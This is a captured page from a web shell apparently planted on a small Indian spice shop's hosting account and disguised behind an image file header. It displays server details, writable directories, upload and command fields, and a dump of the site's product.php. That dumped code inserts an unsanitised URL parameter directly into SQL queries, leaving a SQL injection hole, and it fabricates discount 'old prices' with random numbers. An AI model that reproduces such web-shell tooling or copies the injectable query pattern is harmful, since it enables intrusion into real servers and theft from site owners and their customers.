���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 93.127.173.170  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/saumasale.in/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/saumasale.in/public_html/product.php
<?php
    include('function.php');
    $url = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    head(
        'S & A Foods and Spices',

        'S & A Foods and Spices',

        'S & A Foods and Spices',
        $url
    );
    $ob = new database();

?>    
    <?php

    if (isset($_GET['id'])) {
        $id = $_GET['id'];
        $title_cat = "";
        $ob->query("SELECT * FROM category WHERE id='$id'");
        if ($ob->affected_rows() >= 1) {
            foreach ($ob->rows() as $cat) {
                $title_cat = $cat['category'];
            }
        }
    ?>
    <div class="page-path">
        <div class="container">
            <div class="breadcrumbs-inner">
                <h1 class="path-title"><?php echo $title_cat; ?></h1>
                <ul>
                    <li><a class="home-page-link" href="index.php">Home <i class="fal fa-angle-right"></i></a></li>
                    <li><a class="current-page" href="#"><?php echo $title_cat; ?></a></li>
                </ul>
            </div>
        </div>
    </div>
    <div class="rts-featured-product-section rts-featured-product-section2 section-gap">
        <div class="container">
            <div class="row justify-content-center">
                <?php
                    $ob = new database();
                    $ob->query("SELECT * FROM product WHERE category='$id'");
                    if ($ob->affected_rows() >= 1) {
                        foreach ($ob->rows() as $cat) {
                        $id = $cat['id'];
                        $title = $cat['title'];
                        $cat_id = $cat['category'];
                        $rand = (rand(10,20));
                        $old_price = $cat['price'] * "1.$rand";
                        $x = str_replace(" ", "-", "$title");
                ?>
                <div class="col-lg-3 col-md-3 col-sm-6">
                    <div class="product-item">
                        <div class="product-status-bar">
                            <div class="rating-stars-group">
                                <div class="rating-star"><i class="fas fa-star"></i></div>
                                <div class="rating-star"><i class="fas fa-star"></i></div>
                                <div class="rating-star"><i class="fas fa-star"></i></div>
                                <div class="rating-star"><i class="fas fa-star"></i></div>
                                <div class="rating-star"><i class="fas fa-star"></i></div>
                            </div>
                            <span class="stock">
                                <?php 
                                    $avaiability = $cat['avaiability'];
                                    if ($avaiability == 1) {
                                        echo "In Stock";
                                    } else {
                                        echo "Out of Stock";
                                    }
                                ?>
                            </span>
                        </div>
                        <a href="product-details.php?id=<?php echo base64_encode($cat['id']); ?>&url=<?php echo $x; ?>" class="product-thumb img_thu">
                            <img src="admin/<?php echo $cat['image']; ?>" alt="<?php echo $title; ?>">
                        </a>
                        <div class="contents">
                            <span class="product-type">
                                <?php
                                    $ob->query("SELECT * FROM category where id='$cat_id'");
                                    if ($ob->affected_rows() >= 1) {
                                        foreach ($ob->rows() as $data1) {
                                    ?>
                                        <?php echo $data1['category']; ?>
                                    <?php
                                        }
                                    }
                                ?>
                            </span>
                            <a href="product-details.php?id=<?php echo base64_encode($cat['id']); ?>&url=<?php echo $x; ?>" class="product-title"><?php echo $title; ?></a>
                            <div class="product-bottom-content">
                                <span class="product-price">₹ <?php echo $cat['price']; ?>.00 <span class="old-price">₹ <?php echo round($old_price); ?>.00</span></span>
                                <button class="wishlist"><i class="rt-heart"></i></button>
                            </div>
                        </div>
                        <div class="product-features product-features3">
                            <div class="discount-tag product-tag">-<?php echo $rand;?>%</div>
                        </div>
                        <div class="product-bottom-action">
                            <a href="product-details.php?id=<?php echo base64_encode($cat['id']); ?>&url=<?php echo $x; ?>" class="addto-cart"><i class="fal fa-shopping-bag mr--5"></i> See More</a>
                            <button class="view-btn"><i class="fal fa-eye"></i></button>
                        </div>
                    </div>
                </div>
            <?php
                }
            }
            ?>   

            </div>
        </div>
    </div>

    <?php
        } else {
    ?>   

    <div class="page-path">
        <div class="container">
            <div class="breadcrumbs-inner">
                <h1 class="path-title">Products</h1>
                <ul>
                    <li><a class="home-page-link" href="index.php">Home <i class="fal fa-angle-right"></i></a></li>
                    <li><a class="current-page" href="#">Products</a></li>
                </ul>
            </div>
        </div>
    </div>
    <div class="rts-featured-product-section rts-featured-product-section2 section-gap">
        <div class="container">
            <div class="row justify-content-center">
            <?php
                $ob = new database();
                $ob->query("SELECT * FROM product");
                if ($ob->affected_rows() >= 1) {
                    foreach ($ob->rows() as $cat) {
                    $id = $cat['id'];
                    $title = $cat['title'];
                    $cat_id = $cat['category'];
                    $rand = (rand(10,20));
                    $old_price = $cat['price'] * "1.$rand";
                    $x = str_replace(" ", "-", "$title");
            ?>
                <div class="col-lg-3 col-md-3 col-sm-6">
                    <div class="product-item">
                        <div class="product-status-bar">
                            <div class="rating-stars-group">
                                <div class="rating-star"><i class="fas fa-star"></i></div>
                                <div class="rating-star"><i class="fas fa-star"></i></div>
                                <div class="rating-star"><i class="fas fa-star"></i></div>
                                <div class="rating-star"><i class="fas fa-star"></i></div>
                                <div class="rating-star"><i class="fas fa-star"></i></div>
                            </div>
                            <span class="stock">
                                <?php 
                                    $avaiability = $cat['avaiability'];
                                    if ($avaiability == 1) {
                                        echo "In Stock";
                                    } else {
                                        echo "Out of Stock";
                                    }
                                ?>
                            </span>
                        </div>
                        <a href="product-details.php?id=<?php echo base64_encode($cat['id']); ?>&url=<?php echo $x; ?>" class="product-thumb img_thu">
                            <img src="admin/<?php echo $cat['image']; ?>" alt="<?php echo $title; ?>">
                        </a>
                        <div class="contents">
                            <span class="product-type">
                                <?php
                                    $ob->query("SELECT * FROM category where id='$cat_id'");
                                    if ($ob->affected_rows() >= 1) {
                                        foreach ($ob->rows() as $data1) {
                                    ?>
                                        <?php echo $data1['category']; ?>
                                    <?php
                                        }
                                    }
                                ?>
                            </span>
                            <a href="product-details.php?id=<?php echo base64_encode($cat['id']); ?>&url=<?php echo $x; ?>" class="product-title"><?php echo $title; ?></a>
                            <div class="product-bottom-content">
                                <span class="product-price">₹ <?php echo $cat['price']; ?>.00 <span class="old-price">₹ <?php echo round($old_price); ?>.00</span></span>
                                <button class="wishlist"><i class="rt-heart"></i></button>
                            </div>
                        </div>
                        <div class="product-features product-features3">
                            <div class="discount-tag product-tag">-<?php echo $rand;?>%</div>
                        </div>
                        <div class="product-bottom-action">
                            <a href="product-details.php?id=<?php echo base64_encode($cat['id']); ?>&url=<?php echo $x; ?>" class="addto-cart"><i class="fal fa-shopping-bag mr--5"></i> See More</a>
                            <button class="view-btn"><i class="fal fa-eye"></i></button>
                        </div>
                    </div>
                </div>
            <?php
                }
            }
            ?>   

            </div>
        </div>
    </div>

    <?php
        }
    ?>
    

    
<?php foter(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit